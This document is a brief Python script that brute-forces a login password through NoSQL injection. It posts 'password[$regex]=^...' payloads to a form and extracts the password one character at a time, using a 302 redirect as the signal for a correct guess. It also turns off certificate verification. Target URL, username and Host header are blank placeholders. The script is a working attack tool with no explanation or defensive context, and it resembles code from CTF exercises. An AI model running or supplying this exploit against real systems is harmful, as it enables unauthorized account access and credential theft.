import requests import urllib3 import string import urllib urllib3.disable_warnings() username="" #enter the username password="" u="" # Enter the url here headers={'content-type': 'application/x-www-form-urlencoded', 'Host': ''} # Enter the Host header here. while True: for c in string.printable: if c not in ['*','+','.','?','|','&','\\']: payload='username=%s&password[$regex]=^%s.*&login=login'% (username,password + c) r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) #print(payload) #print(r.status_code) if r.status_code == 302: print("Found one more char : %s" % (password+c)) password += c